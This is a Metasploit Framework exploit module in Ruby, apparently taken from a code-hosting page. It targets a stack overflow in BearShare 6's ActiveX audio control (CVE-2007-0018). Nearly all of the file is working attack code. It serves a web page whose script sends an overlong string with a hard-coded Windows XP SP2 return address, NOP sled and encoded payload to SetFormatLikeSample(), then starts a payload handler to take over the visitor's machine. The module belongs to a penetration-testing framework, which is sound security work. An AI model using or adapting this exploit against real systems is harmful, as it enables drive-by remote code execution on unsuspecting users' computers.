91 lines
2.5 KiB
Ruby
91 lines
2.5 KiB
Ruby
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# $Id: bearshare_setformatlikesample.rb 4645 2007-04-04 04:34:17Z hdm $
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Browser::BearShare_SetFormatLikeSample < Msf::Exploit::Remote
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include Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BearShare 6 ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the NCTAudioFile2.Audio ActiveX
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Control provided by BearShare 6.0.2.26789. By sending a overly long string
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to the "SetFormatLikeSample()" method, an attacker may be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'Version' => '$Revision: 3783 $',
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'References' =>
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[
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[ 'CVE', '2007-0018' ],
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[ 'BID', '23892' ],
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[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2007-May/062911.html' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x09\x0a\x0d'\\",
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'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP2 Pro English', { 'Offset' => 4116, 'Ret' => 0x7c81518B } ],
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],
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'DisclosureDate' => 'May 5 2007',
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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strname = rand_text_alpha(rand(100) + 1)
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# Set the exploit buffer
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sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V')
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sploit << make_nops(8) + p.encoded
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# Build out the message
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content = %Q|
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<html>
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<object classid='clsid:77829F14-D911-40FF-A2F0-D11DB8D6D0BC' id='#{vname}'></object>
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<script language='javascript'>
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var #{vname} = document.getElementById('#{vname}');
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var #{strname} = new String('#{sploit}');
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#{vname}.SetFormatLikeSample(#{strname});
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</script>
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</html>
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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end
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